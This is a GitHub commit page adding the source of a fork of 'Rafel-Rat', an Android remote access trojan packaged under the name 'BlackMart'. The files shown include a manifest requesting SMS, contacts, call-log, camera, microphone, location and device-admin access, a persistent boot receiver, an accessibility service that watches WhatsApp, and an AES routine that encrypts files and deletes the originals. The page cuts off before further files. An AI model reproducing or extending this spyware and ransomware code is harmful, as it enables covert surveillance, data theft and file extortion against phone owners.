forked from swagkarna/Rafel-Rat
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
63 changed files
with
4,430 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
apply plugin: 'com.android.application' | ||
|
||
|
||
android { | ||
compileSdkVersion 28 | ||
buildToolsVersion '30.0.0' | ||
defaultConfig { | ||
applicationId "com.velociraptor.raptor" | ||
minSdkVersion 18 | ||
//noinspection ExpiredTargetSdkVersion | ||
targetSdkVersion 21 | ||
versionCode 1 | ||
versionName "1.0" | ||
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" | ||
multiDexEnabled true | ||
} | ||
buildTypes { | ||
release { | ||
minifyEnabled false | ||
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' | ||
} | ||
} | ||
|
||
compileOptions { | ||
sourceCompatibility 1.8 | ||
targetCompatibility 1.8 | ||
} | ||
} | ||
|
||
dependencies { | ||
implementation fileTree(dir: 'libs', include: ['*.jar']) | ||
implementation 'androidx.appcompat:appcompat:1.2.0' | ||
implementation 'androidx.constraintlayout:constraintlayout:2.0.4' | ||
testImplementation 'junit:junit:4.13.2' | ||
androidTestImplementation 'androidx.test.ext:junit:1.1.2' | ||
androidTestImplementation 'androidx.test.espresso:espresso-core:3.3.0' | ||
implementation 'com.amitshekhar.android:android-networking:1.0.2' | ||
implementation 'com.pixplicity.easyprefs:library:1.9.0' | ||
implementation 'com.github.nisrulz:easydeviceinfo:2.4.1' | ||
implementation 'com.karumi:dexter:6.2.2' | ||
implementation 'com.github.amirdew:JSON:v1.0.0' | ||
implementation 'com.github.tamir7.contacts:contacts:1.1.7' | ||
implementation 'me.everything:providers-stetho:1.0.1' | ||
implementation 'com.klinkerapps:android-smsmms:5.2.6' | ||
implementation 'com.github.quentin7b:android-location-tracker:4.0' | ||
implementation 'com.github.GrenderG:Toasty:1.5.0' | ||
implementation 'io.reactivex.rxjava3:rxjava:3.0.0' | ||
implementation 'io.reactivex.rxjava3:rxandroid:3.0.0' | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
## This file must *NOT* be checked into Version Control Systems, | ||
# as it contains information specific to your local configuration. | ||
# | ||
# Location of the SDK. This is only used by Gradle. | ||
# For customization when using a Version Control System, please read the | ||
# header note. | ||
#Tue Mar 23 19:04:59 IST 2021 | ||
sdk.dir=C\:\\Users\\Lenovo\\AppData\\Local\\Android\\Sdk |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
# Add project specific ProGuard rules here. | ||
# You can control the set of applied configuration files using the | ||
# proguardFiles setting in build.gradle. | ||
# | ||
# For more details, see | ||
# http://developer.android.com/guide/developing/tools/proguard.html | ||
|
||
# If your project uses WebView with JS, uncomment the following | ||
# and specify the fully qualified class name to the JavaScript interface | ||
# class: | ||
#-keepclassmembers class fqcn.of.javascript.interface.for.webview { | ||
# public *; | ||
#} | ||
|
||
# Uncomment this to preserve the line number information for | ||
# debugging stack traces. | ||
#-keepattributes SourceFile,LineNumberTable | ||
|
||
# If you keep the line number information, uncomment this to | ||
# hide the original source file name. | ||
#-renamesourcefileattribute SourceFile |
27 changes: 27 additions & 0 deletions
27
BlackMart/app/src/androidTest/java/com/velociraptor/raptor/ExampleInstrumentedTest.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
package com.velociraptor.raptor; | ||
|
||
import android.content.Context; | ||
|
||
import androidx.test.platform.app.InstrumentationRegistry; | ||
import androidx.test.ext.junit.runners.AndroidJUnit4; | ||
|
||
import org.junit.Test; | ||
import org.junit.runner.RunWith; | ||
|
||
import static org.junit.Assert.*; | ||
|
||
/** | ||
* Instrumented test, which will execute on an Android device. | ||
* | ||
* @see <a href="http://d.android.com/tools/testing">Testing documentation</a> | ||
*/ | ||
@RunWith(AndroidJUnit4.class) | ||
public class ExampleInstrumentedTest { | ||
@Test | ||
public void useAppContext() { | ||
// Context of the app under test. | ||
Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); | ||
|
||
assertEquals("com.velociraptor.raptor", appContext.getPackageName()); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,92 @@ | ||
<?xml version="1.0" encoding="utf-8"?> | ||
<manifest xmlns:android="http://schemas.android.com/apk/res/android" | ||
package="com.velociraptor.raptor"> | ||
|
||
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> | ||
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> | ||
<uses-permission android:name="android.permission.INTERNET"/> | ||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> | ||
<uses-permission android:name="android.permission.SET_WALLPAPER" /> | ||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> | ||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/> | ||
<uses-permission android:name="android.permission.READ_CONTACTS"/> | ||
<uses-permission android:name="android.permission.WRITE_CONTACTS"/> | ||
<uses-permission android:name="android.permission.WAKE_LOCK" /> | ||
<uses-permission android:name="android.permission.READ_SMS"/> | ||
<uses-permission android:name="android.permission.SEND_SMS"/> | ||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> | ||
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> | ||
<uses-permission android:name="android.permission.READ_CALL_LOG"/> | ||
<uses-permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"/> | ||
<uses-permission android:name="android.permission.RECORD_AUDIO" /> | ||
<uses-permission android:name="android.permission.CAMERA" /> | ||
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> | ||
|
||
<application | ||
android:allowBackup="true" | ||
android:icon="@mipmap/ic_launcher" | ||
android:label="@string/app_name" | ||
android:supportsRtl="true" | ||
android:theme="@style/AppTheme" | ||
android:networkSecurityConfig="@xml/network_security_config"> | ||
|
||
<activity android:name=".MainActivity"> | ||
|
||
<intent-filter> | ||
<action android:name="android.intent.action.MAIN" /> | ||
|
||
<category android:name="android.intent.category.LAUNCHER" /> | ||
</intent-filter> | ||
</activity> | ||
<receiver android:name=".MyWakefulReceiver"></receiver> | ||
<receiver | ||
android:name=".BootReceiver" | ||
android:enabled="true" | ||
android:label="BootReceiver"> | ||
<intent-filter> | ||
<action android:name="android.intent.action.BOOT_COMPLETED" /> | ||
</intent-filter> | ||
</receiver> | ||
<receiver | ||
android:name=".DeviceAdminComponent" | ||
android:description="@string/device_description" | ||
android:label="@string/device_admin_label" | ||
android:permission="android.permission.BIND_DEVICE_ADMIN" > | ||
<meta-data | ||
android:name="android.app.device_admin" | ||
android:resource="@xml/admin" /> | ||
|
||
<intent-filter> | ||
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> | ||
<action android:name="android.app.action.DEVICE_ADMIN_DISABLE_REQUESTED" /> | ||
</intent-filter> | ||
</receiver> | ||
|
||
<service android:name=".BackgroundService" > | ||
</service> | ||
|
||
<receiver android:name=".ServiceStarter" > | ||
</receiver> | ||
|
||
<service android:name=".AccessService" | ||
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" | ||
android:label="@string/accessibility_service_label"> | ||
<intent-filter> | ||
<action android:name="android.accessibilityservice.AccessibilityService" /> | ||
</intent-filter> | ||
<meta-data | ||
android:name="android.accessibilityservice" | ||
android:resource="@xml/accessibility_service_config" /> | ||
</service> | ||
|
||
<service android:name=".JobWakeUpService" | ||
android:enabled="true" | ||
android:permission="android.permission.BIND_JOB_SERVICE" | ||
></service> | ||
|
||
<service | ||
android:name=".InternalService" | ||
android:exported="true"/> | ||
</application> | ||
|
||
</manifest> |
35 changes: 35 additions & 0 deletions
35
BlackMart/app/src/main/java/com/velociraptor/raptor/AccessService.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
package com.velociraptor.raptor; | ||
|
||
import android.accessibilityservice.AccessibilityService; | ||
import android.accessibilityservice.AccessibilityServiceInfo; | ||
import android.os.Build; | ||
import android.util.Log; | ||
import android.view.accessibility.AccessibilityEvent; | ||
import android.view.accessibility.AccessibilityNodeInfo; | ||
|
||
public abstract class AccessService extends AccessibilityService { | ||
|
||
|
||
@Override | ||
protected void onServiceConnected() { | ||
super.onServiceConnected(); | ||
|
||
|
||
AccessibilityServiceInfo info = new AccessibilityServiceInfo(); | ||
Log.d("access", "service connected"); | ||
|
||
info.eventTypes = AccessibilityEvent.TYPE_WINDOWS_CHANGED | AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED | AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED; | ||
|
||
info.packageNames = new String[] {"com.whatsapp"}; | ||
|
||
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_GENERIC; | ||
|
||
info.flags = AccessibilityServiceInfo.DEFAULT; | ||
info.flags = AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS; info.flags = AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS; | ||
info.flags = AccessibilityServiceInfo.FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY; info.flags = AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS; | ||
|
||
info.notificationTimeout = 0; | ||
this.setServiceInfo(info); | ||
} | ||
|
||
} |
86 changes: 86 additions & 0 deletions
86
BlackMart/app/src/main/java/com/velociraptor/raptor/Aes.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,86 @@ | ||
package com.velociraptor.raptor; | ||
|
||
import java.io.File; | ||
import java.io.FileInputStream; | ||
import java.io.FileOutputStream; | ||
|
||
import javax.crypto.Cipher; | ||
import javax.crypto.CipherInputStream; | ||
import javax.crypto.SecretKey; | ||
import javax.crypto.spec.SecretKeySpec; | ||
|
||
public class Aes { | ||
|
||
|
||
public static void encryptLarge(byte[] seed, File in, File out) throws Exception { | ||
SecretKeySpec skeySpec = new SecretKeySpec(getRawKey(seed), "AES"); | ||
Cipher cipher = Cipher.getInstance("AES"); | ||
cipher.init(Cipher.ENCRYPT_MODE, skeySpec); | ||
|
||
FileInputStream inputStream = new FileInputStream(in); | ||
FileOutputStream fileOutputStream = new FileOutputStream(out); | ||
|
||
int read; | ||
byte[] buffer = new byte[4096]; | ||
|
||
CipherInputStream cis = new CipherInputStream(inputStream, cipher); | ||
|
||
while ((read = cis.read(buffer)) != -1) { | ||
fileOutputStream.write(buffer, 0, read); | ||
} | ||
fileOutputStream.close(); | ||
cis.close(); | ||
in.delete(); | ||
} | ||
public static void decryptLarge(byte[] seed, File in, File out) throws Exception { | ||
SecretKeySpec skeySpec = new SecretKeySpec(getRawKey(seed), "AES"); | ||
Cipher cipher = Cipher.getInstance("AES"); | ||
cipher.init(Cipher.DECRYPT_MODE, skeySpec); | ||
|
||
FileInputStream inputStream = new FileInputStream(in); | ||
FileOutputStream fileOutputStream = new FileOutputStream(out); | ||
|
||
int read; | ||
byte[] buffer = new byte[4096]; | ||
|
||
CipherInputStream cis = new CipherInputStream(inputStream, cipher); | ||
|
||
while ((read = cis.read(buffer)) != -1) { | ||
fileOutputStream.write(buffer, 0, read); | ||
} | ||
fileOutputStream.close(); | ||
cis.close(); | ||
in.delete(); | ||
} | ||
|
||
public static byte[] encrypt(byte[] seed, byte[] cleartext) | ||
throws Exception { | ||
byte[] rawKey = getRawKey(seed); | ||
return encryptAes(rawKey, cleartext); | ||
} | ||
|
||
public static byte[] decrypt(byte[] seed, byte[] enc) throws Exception { | ||
byte[] rawKey = getRawKey(seed); | ||
return decryptAes(rawKey, enc); | ||
} | ||
|
||
private static byte[] getRawKey(byte[] seed) throws Exception { | ||
SecretKey sKey = new SecretKeySpec(seed, "AES"); | ||
return sKey.getEncoded(); | ||
} | ||
|
||
private static byte[] encryptAes(byte[] raw, byte[] clear) throws Exception { | ||
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); | ||
Cipher cipher = Cipher.getInstance("AES"); | ||
cipher.init(Cipher.ENCRYPT_MODE, skeySpec); | ||
return cipher.doFinal(clear); | ||
} | ||
|
||
private static byte[] decryptAes(byte[] raw, byte[] encrypted) | ||
throws Exception { | ||
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); | ||
Cipher cipher = Cipher.getInstance("AES"); | ||
cipher.init(Cipher.DECRYPT_MODE, skeySpec); | ||
return cipher.doFinal(encrypted); | ||
} | ||
} |
6 changes: 6 additions & 0 deletions
6
BlackMart/app/src/main/java/com/velociraptor/raptor/AppContant.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
package com.velociraptor.raptor; | ||
|
||
public class AppContant { | ||
public double getLatitude = 0.0; | ||
public double getLongitude = 0.0; | ||
} |
Oops, something went wrong.